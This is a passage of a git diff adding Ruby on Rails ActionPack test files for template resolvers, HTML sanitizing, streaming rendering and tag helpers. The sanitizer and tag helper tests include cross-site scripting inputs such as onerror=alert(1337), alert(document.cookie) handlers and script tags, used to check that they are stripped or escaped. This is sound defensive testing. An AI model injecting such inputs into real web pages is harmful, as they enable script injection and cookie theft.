+++ b/actionpack/test/template/resolver_patterns_test.rb
@@ -0,0 +1,31 @@
+require 'abstract_unit'
+
+class ResolverPatternsTest < ActiveSupport::TestCase
+ def setup
+ path = File.expand_path("../../fixtures/", __FILE__)
+ pattern = ":prefix/{:formats/,}:action{.:formats,}{.:handlers,}"
+ @resolver = ActionView::FileSystemResolver.new(path, pattern)
+ end
+
+ def test_should_return_empty_list_for_unknown_path
+ templates = @resolver.find_all("unknown", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ assert_equal [], templates, "expected an empty list of templates"
+ end
+
+ def test_should_return_template_for_declared_path
+ templates = @resolver.find_all("path", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ assert_equal 1, templates.size, "expected one template"
+ assert_equal "Hello custom patterns!", templates.first.source
+ assert_equal "custom_pattern/path", templates.first.virtual_path
+ assert_equal [:html], templates.first.formats
+ end
+
+ def test_should_return_all_templates_when_ambigous_pattern
+ templates = @resolver.find_all("another", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ assert_equal 2, templates.size, "expected two templates"
+ assert_equal "Another template!", templates[0].source
+ assert_equal "custom_pattern/another", templates[0].virtual_path
+ assert_equal "Hello custom patterns!", templates[1].source
+ assert_equal "custom_pattern/another", templates[1].virtual_path
+ end
+end
diff --git a/actionpack/test/template/sanitize_helper_test.rb b/actionpack/test/template/sanitize_helper_test.rb
new file mode 100644
index 0000000..12d5260
--- /dev/null
+++ b/actionpack/test/template/sanitize_helper_test.rb
@@ -0,0 +1,51 @@
+require 'abstract_unit'
+
+# The exhaustive tests are in test/controller/html/sanitizer_test.rb.
+# This tests the that the helpers hook up correctly to the sanitizer classes.
+class SanitizeHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::SanitizeHelper
+
+ def test_strip_links
+ assert_equal "Dont touch me", strip_links("Dont touch me")
+ assert_equal "<a<a", strip_links("<a<a")
+ assert_equal "on my mind\nall day long", strip_links("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
+ assert_equal "0wn3d", strip_links("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>")
+ assert_equal "Magic", strip_links("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
+ assert_equal "FrrFox", strip_links("<href onlclick='steal()'>FrrFox</a></href>")
+ assert_equal "My mind\nall <b>day</b> long", strip_links("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
+ assert_equal "all <b>day</b> long", strip_links("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
+ end
+
+ def test_sanitize_form
+ assert_equal '', sanitize("<form action=\"/foo/bar\" method=\"post\"><input></form>")
+ end
+
+ def test_should_sanitize_illegal_style_properties
+ raw = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
+ expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
+ assert_equal expected, sanitize_css(raw)
+ end
+
+ def test_strip_tags
+ assert_equal("<<<bad html", strip_tags("<<<bad html"))
+ assert_equal("<<", strip_tags("<<<bad html>"))
+ assert_equal("Dont touch me", strip_tags("Dont touch me"))
+ assert_equal("This is a test.", strip_tags("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
+ assert_equal("Weirdos", strip_tags("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
+ assert_equal("This is a test.", strip_tags("This is a test."))
+ assert_equal(
+ %{This is a test.\n\n\nIt no longer contains any HTML.\n}, strip_tags(
+ %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
+ assert_equal "This has a here.", strip_tags("This has a <!-- comment --> here.")
+ [nil, '', ' '].each do |blank|
+ stripped = strip_tags(blank)
+ assert_equal blank, stripped
+ end
+ assert_equal "", strip_tags("<script>")
+ assert_equal "something <img onerror=alert(1337)", ERB::Util.html_escape(strip_tags("something <img onerror=alert(1337)"))
+ end
+
+ def test_sanitize_is_marked_safe
+ assert sanitize("<html><script></script></html>").html_safe?
+ end
+end
diff --git a/actionpack/test/template/streaming_render_test.rb b/actionpack/test/template/streaming_render_test.rb
new file mode 100644
index 0000000..520bf3a
--- /dev/null
+++ b/actionpack/test/template/streaming_render_test.rb
@@ -0,0 +1,109 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class TestController < ActionController::Base
+end
+
+class FiberedTest < ActiveSupport::TestCase
+ def setup
+ view_paths = ActionController::Base.view_paths
+ @assigns = { :secret => 'in the sauce', :name => nil }
+ @view = ActionView::Base.new(view_paths, @assigns)
+ @controller_view = TestController.new.view_context
+ end
+
+ def render_body(options)
+ @view.view_renderer.render_body(@view, options)
+ end
+
+ def buffered_render(options)
+ body = render_body(options)
+ string = ""
+ body.each do |piece|
+ string << piece
+ end
+ string
+ end
+
+ def test_streaming_works
+ content = []
+ body = render_body(:template => "test/hello_world", :layout => "layouts/yield")
+
+ body.each do |piece|
+ content << piece
+ end
+
+ assert_equal "<title>", content[0]
+ assert_equal "", content[1]
+ assert_equal "</title>\n", content[2]
+ assert_equal "Hello world!", content[3]
+ assert_equal "\n", content[4]
+ end
+
+ def test_render_file
+ assert_equal "Hello world!", buffered_render(:file => "test/hello_world")
+ end
+
+ def test_render_file_with_locals
+ locals = { :secret => 'in the sauce' }
+ assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals", :locals => locals)
+ end
+
+ def test_render_partial
+ assert_equal "only partial", buffered_render(:partial => "test/partial_only")
+ end
+
+ def test_render_inline
+ assert_equal "Hello, World!", buffered_render(:inline => "Hello, World!")
+ end
+
+ def test_render_without_layout
+ assert_equal "Hello world!", buffered_render(:template => "test/hello_world")
+ end
+
+ def test_render_with_layout
+ assert_equal %(<title></title>\nHello world!\n),
+ buffered_render(:template => "test/hello_world", :layout => "layouts/yield")
+ end
+
+ def test_render_with_layout_which_has_render_inline
+ assert_equal %(welcome\nHello world!\n),
+ buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
+ end
+
+ def test_render_with_layout_which_renders_another_partial
+ assert_equal %(partial html\nHello world!\n),
+ buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
+ end
+
+ def test_render_with_nested_layout
+ assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
+ buffered_render(:template => "test/nested_layout", :layout => "layouts/yield")
+ end
+
+ def test_render_with_file_in_layout
+ assert_equal %(\n<title>title</title>\n\n),
+ buffered_render(:template => "test/layout_render_file")
+ end
+
+ def test_render_with_handler_without_streaming_support
+ assert_match "<p>This is grand!</p>", buffered_render(:template => "test/hello")
+ end
+
+ def test_render_with_streaming_multiple_yields_provide_and_content_for
+ assert_equal "Yes, \nthis works\n like a charm.",
+ buffered_render(:template => "test/streaming", :layout => "layouts/streaming")
+ end
+
+ def test_render_with_streaming_with_fake_yields_and_streaming_buster
+ assert_equal "This won't look\n good.",
+ buffered_render(:template => "test/streaming_buster", :layout => "layouts/streaming")
+ end
+
+ def test_render_with_nested_streaming_multiple_yields_provide_and_content_for
+ assert_equal "?Yes, \n\nthis works\n\n? like a charm.",
+ buffered_render(:template => "test/nested_streaming", :layout => "layouts/streaming")
+ end
+
+end
diff --git a/actionpack/test/template/tag_helper_test.rb b/actionpack/test/template/tag_helper_test.rb
new file mode 100644
index 0000000..9e711c6
--- /dev/null
+++ b/actionpack/test/template/tag_helper_test.rb
@@ -0,0 +1,130 @@
+require 'abstract_unit'
+
+class TagHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
+ tests ActionView::Helpers::TagHelper
+
+ def test_tag
+ assert_equal "<br />", tag("br")
+ assert_equal "<br clear=\"left\" />", tag(:br, :clear => "left")
+ assert_equal "<br>", tag("br", nil, true)
+ end
+
+ def test_tag_options
+ str = tag("p", "class" => "show", :class => "elsewhere")
+ assert_match(/class="show"/, str)
+ assert_match(/class="elsewhere"/, str)
+ end
+
+ def test_tag_options_rejects_nil_option
+ assert_equal "<p />", tag("p", :ignored => nil)
+ end
+
+ def test_tag_options_accepts_false_option
+ assert_equal "<p value=\"false\" />", tag("p", :value => false)
+ end
+
+ def test_tag_options_accepts_blank_option
+ assert_equal "<p included=\"\" />", tag("p", :included => '')
+ end
+
+ def test_tag_options_converts_boolean_option
+ assert_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" />',
+ tag("p", :disabled => true, :itemscope => true, :multiple => true, :readonly => true)
+ end
+
+ def test_content_tag
+ assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
+ assert content_tag("a", "Create", "href" => "create").html_safe?
+ assert_equal content_tag("a", "Create", "href" => "create"),
+ content_tag("a", "Create", :href => "create")
+ assert_equal "<p><script>evil_js</script></p>",
+ content_tag(:p, '<script>evil_js</script>')
+ assert_equal "<p><script>evil_js</script></p>",
+ content_tag(:p, '<script>evil_js</script>', nil, false)
+ end
+
+ def test_content_tag_with_block_in_erb
+ buffer = render_erb("<%= content_tag(:div) do %>Hello world!<% end %>")
+ assert_dom_equal "<div>Hello world!</div>", buffer
+ end
+
+ def test_content_tag_with_block_and_options_in_erb
+ buffer = render_erb("<%= content_tag(:div, :class => 'green') do %>Hello world!<% end %>")
+ assert_dom_equal %(<div class="green">Hello world!</div>), buffer
+ end
+
+ def test_content_tag_with_block_and_options_out_of_erb
+ assert_dom_equal %(<div class="green">Hello world!</div>), content_tag(:div, :class => "green") { "Hello world!" }
+ end
+
+ def test_content_tag_with_block_and_options_outside_out_of_erb
+ assert_equal content_tag("a", "Create", :href => "create"),
+ content_tag("a", "href" => "create") { "Create" }
+ end
+
+ def test_content_tag_nested_in_content_tag_out_of_erb
+ assert_equal content_tag("p", content_tag("b", "Hello")),
+ content_tag("p") { content_tag("b", "Hello") },
+ output_buffer
+ end
+
+ def test_content_tag_nested_in_content_tag_in_erb
+ assert_equal "<p>\n <b>Hello</b>\n</p>", view.render("test/content_tag_nested_in_content_tag")
+ end
+
+ def test_content_tag_with_escaped_array_class
+ str = content_tag('p', "limelight", :class => ["song", "play>"])
+ assert_equal "<p class=\"song play>\">limelight</p>", str
+
+ str = content_tag('p', "limelight", :class => ["song", "play"])
+ assert_equal "<p class=\"song play\">limelight</p>", str
+ end
+
+ def test_content_tag_with_unescaped_array_class
+ str = content_tag('p', "limelight", {:class => ["song", "play>"]}, false)
+ assert_equal "<p class=\"song play>\">limelight</p>", str
+ end
+
+ def test_content_tag_with_data_attributes
+ assert_dom_equal '<p data-number="1" data-string="hello" data-string-with-quotes="double"quote"party"">limelight</p>',
+ content_tag('p', "limelight", data: { number: 1, string: 'hello', string_with_quotes: 'double"quote"party"' })
+ end
+
+ def test_cdata_section
+ assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
+ end
+
+ def test_cdata_section_splitted
+ assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]>", cdata_section("hello]]>world")
+ assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]]]><![CDATA[>again]]>", cdata_section("hello]]>world]]>again")
+ end
+
+ def test_escape_once
+ assert_equal '1 < 2 & 3', escape_once('1 < 2 & 3')
+ end
+
+ def test_tag_honors_html_safe_for_param_values
+ ['1&2', '1 < 2', '“test“'].each do |escaped|
+ assert_equal %(<a href="#{escaped}" />), tag('a', :href => escaped.html_safe)
+ end
+ end
+
+ def test_skip_invalid_escaped_attributes
+ ['&1;', 'dfa3;', '& #123;'].each do |escaped|
+ assert_equal %(<a href="#{escaped.gsub(/&/, '&')}" />), tag('a', :href => escaped)
+ end
+ end
+
+ def test_disable_escaping
+ assert_equal '<a href="&" />', tag('a', { :href => '&' }, false, false)
+ end
+
+ def test_data_attributes
+ ['data', :data].each { |data|
+ assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{"key":"value"}" data-string-with-quotes="double"quote"party"" data-string="hello" data-symbol="foo" />',
+ tag('a', { data => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: 'hello', symbol: :foo, array: [1, 2, 3], hash: { key: 'value'}, string_with_quotes: 'double"quote"party"' } })
+ }
+ end
+end
diff --git a/actionpack/test/template/template_error_test.rb b/actionpack/test/template/template_error_test.rb
new file mode 100644
index 0000000..91424da
--- /dev/null
+++ b/actionpack/test/template/template_error_test.rb
@@ -0,0 +1,13 @@
+require "abstract_unit"
+
+class TemplateErrorTest < ActiveSupport::TestCase
+ def test_provides_original_message
+ error = ActionView::Template::Error.new("test", Exception.new("original"))
+ assert_equal "original", error.message
+ end
+
+ def test_provides_useful_inspect
+ error = ActionView::Template::Error.new("test", Exception.new("original"))
+ assert_equal "#<ActionView::Template::Error: original>", error.inspect
+ end
+end
diff --git a/actionpack/test/template/template_test.rb b/actionpack/test/template/template_test.rb
new file mode 100644
index 0000000..8d32205
--- /dev/null
+++ b/actionpack/test/template/template_test.rb
@@ -0,0 +1,207 @@
+# encoding: US-ASCII
+require "abstract_unit"
+require "logger"
+
+class TestERBTemplate < ActiveSupport::TestCase
+ ERBHandler = ActionView::Template::Handlers::ERB.new
+
+ class LookupContext
+ def disable_cache
+ yield
+ end
+
+ def find_template(*args)
+ end
+
+ attr_accessor :formats
+ end
+
+ class Context
+ def initialize
+ @output_buffer = "original"
+ @virtual_path = nil
+ end
+
+ def hello
+ "Hello"
+ end
+
+ def apostrophe
+ "l'apostrophe"
+ end
+
+ def partial
+ ActionView::Template.new(
+ "<%= @virtual_path %>",
+ "partial",
+ ERBHandler,
+ :virtual_path => "partial"
+ )
+ end
+
+ def lookup_context
+ @lookup_context ||= LookupContext.new
+ end
+
+ def logger
+ ActiveSupport::Logger.new(STDERR)
+ end
+
+ def my_buffer
+ @output_buffer
+ end
+ end
+
+ def new_template(body = "<%= hello %>", details = { format: :html })
+ ActionView::Template.new(body, "hello template", details.fetch(:handler) { ERBHandler }, {:virtual_path => "hello"}.merge!(details))
+ end
+
+ def render(locals = {})
+ @template.render(@context, locals)
+ end
+
+ def setup
+ @context = Context.new
+ end
+
+ def test_mime_type_is_deprecated
+ template = new_template
+ assert_deprecated 'Template#mime_type is deprecated and will be removed' do
+ template.mime_type
+ end
+ end
+
+ def test_basic_template
+ @template = new_template
+ assert_equal "Hello", render
+ end
+
+ def test_basic_template_does_html_escape
+ @template = new_template("<%= apostrophe %>")
+ assert_equal "l'apostrophe", render
+ end
+
+ def test_text_template_does_not_html_escape
+ @template = new_template("<%= apostrophe %> <%== apostrophe %>", format: :text)
+ assert_equal "l'apostrophe l'apostrophe", render
+ end
+
+ def test_raw_template
+ @template = new_template("<%= hello %>", :handler => ActionView::Template::Handlers::Raw.new)
+ assert_equal "<%= hello %>", render
+ end
+
+ def test_template_loses_its_source_after_rendering
+ @template = new_template
+ render
+ assert_nil @template.source
+ end
+
+ def test_template_does_not_lose_its_source_after_rendering_if_it_does_not_have_a_virtual_path
+ @template = new_template("Hello", :virtual_path => nil)
+ render
+ assert_equal "Hello", @template.source
+ end
+
+ def test_locals
+ @template = new_template("<%= my_local %>")
+ @template.locals = [:my_local]
+ assert_equal "I am a local", render(:my_local => "I am a local")
+ end
+
+ def test_restores_buffer
+ @template = new_template
+ assert_equal "Hello", render
+ assert_equal "original", @context.my_buffer
+ end
+
+ def test_virtual_path
+ @template = new_template("<%= @virtual_path %>" \
+ "<%= partial.render(self, {}) %>" \
+ "<%= @virtual_path %>")
+ assert_equal "hellopartialhello", render
+ end
+
+ def test_refresh_with_templates
+ @template = new_template("Hello", :virtual_path => "test/foo/bar")
+ @template.locals = [:key]
+ @context.lookup_context.expects(:find_template).with("bar", %w(test/foo), false, [:key]).returns("template")
+ assert_equal "template", @template.refresh(@context)
+ end
+
+ def test_refresh_with_partials
+ @template = new_template("Hello", :virtual_path => "test/_foo")
+ @template.locals = [:key]
+ @context.lookup_context.expects(:find_template).with("foo", %w(test), true, [:key]).returns("partial")
+ assert_equal "partial", @template.refresh(@context)
+ end
+
+ def test_refresh_raises_an_error_without_virtual_path
+ @template = new_template("Hello", :virtual_path => nil)
+ assert_raise RuntimeError do
+ @template.refresh(@context)
+ end
+ end
+
+ def test_resulting_string_is_utf8
+ @template = new_template
+ assert_equal Encoding::UTF_8, render.encoding
+ end
+
+ def test_no_magic_comment_word_with_utf_8
+ @template = new_template("hello \u{fc}mlat")
+ assert_equal Encoding::UTF_8, render.encoding
+ assert_equal "hello \u{fc}mlat", render
+ end
+
+ # This test ensures that if the default_external
+ # is set to something other than UTF-8, we don't
+ # get any errors and get back a UTF-8 String.
+ def test_default_external_works
+ with_external_encoding "ISO-8859-1" do
+ @template = new_template("hello \xFCmlat")
+ assert_equal Encoding::UTF_8, render.encoding
+ assert_equal "hello \u{fc}mlat", render
+ end
+ end
+
+ def test_encoding_can_be_specified_with_magic_comment
+ @template = new_template("# encoding: ISO-8859-1\nhello \xFCmlat")
+ assert_equal Encoding::UTF_8, render.encoding
+ assert_equal "\nhello \u{fc}mlat", render
+ end
+
+ # TODO: This is currently handled inside ERB. The case of explicitly
+ # lying about encodings via the normal Rails API should be handled
+ # inside Rails.
+ def test_lying_with_magic_comment
+ assert_raises(ActionView::Template::Error) do
+ @template = new_template("# encoding: UTF-8\nhello \xFCmlat", :virtual_path => nil)
+ render
+ end
+ end
+
+ def test_encoding_can_be_specified_with_magic_comment_in_erb
+ with_external_encoding Encoding::UTF_8 do
+ @template = new_template("<%# encoding: ISO-8859-1 %>hello \xFCmlat", :virtual_path => nil)
+ assert_equal Encoding::UTF_8, render.encoding
+ assert_equal "hello \u{fc}mlat", render
+ end
+ end
+
+ def test_error_when_template_isnt_valid_utf8
+ assert_raises(ActionView::Template::Error, /\xFC/) do
+ @template = new_template("hello \xFCmlat", :virtual_path => nil)
+ render
+ end
+ end
+
+ def with_external_encoding(encoding)
+ old = Encoding.default_external
+ Encoding::Converter.new old, encoding if old != encoding
+ silence_warnings { Encoding.default_external = encoding }
+ yield
+ ensure
+ silence_warnings { Encoding.default_external = old }
+ end
+end
diff --git a/actionpack/test/template/test_case_test.rb b/actionpack/test/template/test_case_test.rb
new file mode 100644
index 0000000..acd002c
--- /dev/null
+++ b/actionpack/test/template/test_case_test.rb
@@ -0,0 +1,367 @@
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+module ActionView
+
+ module ATestHelper
+ end
+
+ module AnotherTestHelper
+ def from_another_helper
+ 'Howdy!'
+ end
+ end
+
+ module ASharedTestHelper
+ def from_shared_helper
+ 'Holla!'
+ end
+ end
+
+ class TestCase
+ helper ASharedTestHelper
+
+ module SharedTests
+ def self.included(test_case)
+ test_case.class_eval do
+ test "helpers defined on ActionView::TestCase are available" do
+ assert test_case.ancestors.include?(ASharedTestHelper)
+ assert_equal 'Holla!', from_shared_helper
+ end
+ end
+ end
+ end
+ end
+
+ class GeneralViewTest < ActionView::TestCase
+ include SharedTests
+ test_case = self
+
+ test "memoizes the view" do
+ assert_same view, view
+ end
+
+ test "exposes view as _view for backwards compatibility" do
+ assert_same _view, view
+ end
+
+ test "retrieve non existing config values" do
+ assert_equal nil, ActionView::Base.new.config.something_odd
+ end
+
+ test "works without testing a helper module" do
+ assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
+ end
+
+ test "can render a layout with block" do
+ assert_equal "Before (ChrisCruft)\n!\nAfter",
+ render(:layout => "test/layout_for_partial", :locals => {:name => "ChrisCruft"}) {"!"}
+ end
+
+ helper AnotherTestHelper
+ test "additional helper classes can be specified as in a controller" do
+ assert test_case.ancestors.include?(AnotherTestHelper)
+ assert_equal 'Howdy!', from_another_helper
+ end
+
+ test "determine_default_helper_class returns nil if the test name constant resolves to a class" do
+ assert_nil self.class.determine_default_helper_class("String")
+ end
+
+ test "delegates notice to request.flash[:notice]" do
+ view.request.flash.expects(:[]).with(:notice)
+ view.notice
+ end
+
+ test "delegates alert to request.flash[:alert]" do
+ view.request.flash.expects(:[]).with(:alert)
+ view.alert
+ end
+
+ test "uses controller lookup context" do
+ assert_equal self.lookup_context, @controller.lookup_context
+ end
+ end
+
+ class ClassMethodsTest < ActionView::TestCase
+ include SharedTests
+ test_case = self
+
+ tests ATestHelper
+ test "tests the specified helper module" do
+ assert_equal ATestHelper, test_case.helper_class
+ assert test_case.ancestors.include?(ATestHelper)
+ end
+
+ helper AnotherTestHelper
+ test "additional helper classes can be specified as in a controller" do
+ assert test_case.ancestors.include?(AnotherTestHelper)
+ assert_equal 'Howdy!', from_another_helper
+
+ test_case.helper_class.module_eval do
+ def render_from_helper
+ from_another_helper
+ end
+ end
+ assert_equal 'Howdy!', render(:partial => 'test/from_helper')
+ end
+ end
+
+ class HelperInclusionTest < ActionView::TestCase
+ module RenderHelper
+ def render_from_helper
+ render :partial => 'customer', :collection => @customers
+ end
+ end
+
+ helper RenderHelper
+
+ test "helper class that is being tested is always included in view instance" do
+ @controller.controller_path = 'test'
+
+ @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+ assert_match(/Hello: EloyHello: Manfred/, render(:partial => 'test/from_helper'))
+ end
+ end
+
+ class ControllerHelperMethod < ActionView::TestCase
+ module SomeHelper
+ def some_method
+ render :partial => 'test/from_helper'
+ end
+ end
+
+ helper SomeHelper
+
+ test "can call a helper method defined on the current controller from a helper" do
+ @controller.singleton_class.class_eval <<-EOF, __FILE__, __LINE__ + 1
+ def render_from_helper
+ 'controller_helper_method'
+ end
+ EOF
+ @controller.class.helper_method :render_from_helper
+
+ assert_equal 'controller_helper_method', some_method
+ end
+ end
+
+ class ViewAssignsTest < ActionView::TestCase
+ test "view_assigns returns a Hash of user defined ivars" do
+ @a = 'b'
+ @c = 'd'
+ assert_equal({:a => 'b', :c => 'd'}, view_assigns)
+ end
+
+ test "view_assigns excludes internal ivars" do
+ INTERNAL_IVARS.each do |ivar|
+ assert defined?(ivar), "expected #{ivar} to be defined"
+ assert !view_assigns.keys.include?(ivar.to_s.sub('@', '').to_sym), "expected #{ivar} to be excluded from view_assigns"
+ end
+ end
+ end
+
+ class HelperExposureTest < ActionView::TestCase
+ helper(Module.new do
+ def render_from_helper
+ from_test_case
+ end
+ end)
+ test "is able to make methods available to the view" do
+ assert_equal 'Word!', render(:partial => 'test/from_helper')
+ end
+
+ def from_test_case; 'Word!'; end
+ helper_method :from_test_case
+ end
+
+ class IgnoreProtectAgainstForgeryTest < ActionView::TestCase
+ module HelperThatInvokesProtectAgainstForgery
+ def help_me
+ protect_against_forgery?
+ end
+ end
+
+ helper HelperThatInvokesProtectAgainstForgery
+
+ test "protect_from_forgery? in any helpers returns false" do
+ assert !view.help_me
+ end
+
+ end
+
+ class ATestHelperTest < ActionView::TestCase
+ include SharedTests
+ test_case = self
+
+ test "inflects the name of the helper module to test from the test case class" do
+ assert_equal ATestHelper, test_case.helper_class
+ assert test_case.ancestors.include?(ATestHelper)
+ end
+
+ test "a configured test controller is available" do
+ assert_kind_of ActionController::Base, controller
+ assert_equal '', controller.controller_path
+ end
+
+ test "no additional helpers should shared across test cases" do
+ assert !test_case.ancestors.include?(AnotherTestHelper)
+ assert_raise(NoMethodError) { send :from_another_helper }
+ end
+
+ test "is able to use routes" do
+ controller.request.assign_parameters(@routes, 'foo', 'index')
+ assert_equal '/foo', url_for
+ assert_equal '/bar', url_for(:controller => 'bar')
+ end
+
+ test "is able to use named routes" do
+ with_routing do |set|
+ set.draw { resources :contents }
+ assert_equal 'http://test.host/contents/new', new_content_url
+ assert_equal 'http://test.host/contents/1', content_url(:id => 1)
+ end
+ end
+
+ test "is able to use mounted routes" do
+ with_routing do |set|
+ app = Class.new do
+ def self.routes
+ @routes ||= ActionDispatch::Routing::RouteSet.new
+ end
+
+ routes.draw { get "bar", :to => lambda {} }
+
+ def self.call(*)
+ end
+ end
+
+ set.draw { mount app => "/foo", :as => "foo_app" }
+
+ assert_equal '/foo/bar', foo_app.bar_path
+ end
+ end
+
+ test "named routes can be used from helper included in view" do
+ with_routing do |set|
+ set.draw { resources :contents }
+ _helpers.module_eval do
+ def render_from_helper
+ new_content_url
+ end
+ end
+
+ assert_equal 'http://test.host/contents/new', render(:partial => 'test/from_helper')
+ end
+ end
+
+ test "is able to render partials with local variables" do
+ assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
+ assert_equal 'Eloy', render(:partial => 'developers/developer',
+ :locals => { :developer => stub(:name => 'Eloy') })
+ end
+
+ test "is able to render partials from templates and also use instance variables" do
+ @controller.controller_path = "test"
+
+ @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+ assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
+ end
+
+ test "is able to render partials from templates and also use instance variables after view has been referenced" do
+ @controller.controller_path = "test"
+
+ view
+
+ @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+ assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
+ end
+
+ end
+
+ class AssertionsTest < ActionView::TestCase
+ def render_from_helper
+ form_tag('/foo') do
+ safe_concat render(:text => '<ul><li>foo</li></ul>')
+ end
+ end
+ helper_method :render_from_helper
+
+ test "uses the output_buffer for assert_select" do
+ render(:partial => 'test/from_helper')
+
+ assert_select 'form' do
+ assert_select 'li', :text => 'foo'
+ end
+ end
+ end
+
+ class RenderTemplateTest < ActionView::TestCase
+ test "supports specifying templates with a Regexp" do
+ controller.controller_path = "fun"
+ render(:template => "fun/games/hello_world")
+ assert_template %r{\Afun/games/hello_world\Z}
+ end
+
+ test "supports specifying partials" do
+ controller.controller_path = "test"
+ render(:template => "test/calling_partial_with_layout")
+ assert_template :partial => "_partial_for_use_in_layout"
+ end
+
+ test "supports specifying locals (passing)" do
+ controller.controller_path = "test"
+ render(:template => "test/calling_partial_with_layout")
+ assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "David" }
+ end
+
+ test "supports specifying locals (failing)" do
+ controller.controller_path = "test"
+ render(:template => "test/calling_partial_with_layout")
+ assert_raise ActiveSupport::TestCase::Assertion, /Somebody else.*David/m do
+ assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "Somebody Else" }
+ end
+ end
+
+ test 'supports different locals on the same partial' do
+ controller.controller_path = "test"
+ render(:template => "test/render_two_partials")
+ assert_template partial: '_partial', locals: { 'first' => '1' }
+ assert_template partial: '_partial', locals: { 'second' => '2' }
+ end
+
+ test 'raises descriptive error message when template was not rendered' do
+ controller.controller_path = "test"
+ render(template: "test/hello_world_with_partial")
+ e = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_template partial: 'i_was_never_rendered', locals: { 'did_not' => 'happen' }
+ end
+ assert_match "i_was_never_rendered to be rendered but it was not.", e.message
+ assert_match 'Expected ["/test/partial"] to include "i_was_never_rendered"', e.message
+ end
+
+ test 'specifying locals works when the partial is inside a directory with underline prefix' do
+ controller.controller_path = "test"
+ render(template: 'test/render_partial_inside_directory')
+ assert_template partial: 'test/_directory/_partial_with_locales', locals: { 'name' => 'Jane' }
+ end
+
+ test 'specifying locals works when the partial is inside a directory without underline prefix' do
+ controller.controller_path = "test"
+ render(template: 'test/render_partial_inside_directory')
+ assert_template partial: 'test/_directory/partial_with_locales', locals: { 'name' => 'Jane' }
+ end
+ end
+
+ module AHelperWithInitialize
+ def initialize(*)
+ super
+ @called_initialize = true
+ end
+ end
+
+ class AHelperWithInitializeTest < ActionView::TestCase
+ test "the helper's initialize was actually called" do
+ assert @called_initialize
+ end
+ end
+end
diff --git a/actionpack/test/template/test_test.rb b/actionpack/test/template/test_test.rb
new file mode 100644
index 0000000..108a674
--- /dev/null
+++ b/actionpack/test/template/test_test.rb
@@ -0,0 +1,80 @@
+require 'abstract_unit'
+
+module PeopleHelper
+ def title(text)
+ content_tag(:h1, text)
+ end
+
+ def homepage_path
+ people_path
+ end
+
+ def homepage_url
+ people_url
+ end
+
+ def link_to_person(person)
+ link_to person.name, person
+ end
+end
+
+class PeopleHelperTest < ActionView::TestCase
+ def test_title
+ assert_equal "<h1>Ruby on Rails</h1>", title("Ruby on Rails")
+ end
+
+ def test_homepage_path
+ with_test_route_set do
+ assert_equal "/people", homepage_path
+ end
+ end
+
+ def test_homepage_url
+ with_test_route_set do
+ assert_equal "http://test.host/people", homepage_url
+ end
+ end
+
+ def test_link_to_person
+ with_test_route_set do
+ person = mock(:name => "David")
+ person.class.extend ActiveModel::Naming
+ expects(:mocha_mock_path).with(person).returns("/people/1")
+ assert_equal '<a href="/people/1">David</a>', link_to_person(person)
+ end
+ end
+
+ private
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ get 'people', :to => 'people#index', :as => :people
+ end
+ yield
+ end
+ end
+end
+
+class CrazyHelperTest < ActionView::TestCase
+ tests PeopleHelper
+
+ def test_helper_class_can_be_set_manually_not_just_inferred
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
+
+class CrazySymbolHelperTest < ActionView::TestCase
+ tests :people
+
+ def test_set_helper_class_using_symbol
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
+
+class CrazyStringHelperTest < ActionView::TestCase
+ tests 'people'
+
+ def test_set_helper_class_using_string
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
diff --git a/actionpack/test/template/testing/fixture_resolver_test.rb b/actionpack/test/template/testing/fixture_resolver_test.rb
new file mode 100644
index 0000000..9649f34
--- /dev/null
+++ b/actionpack/test/template/testing/fixture_resolver_test.rb
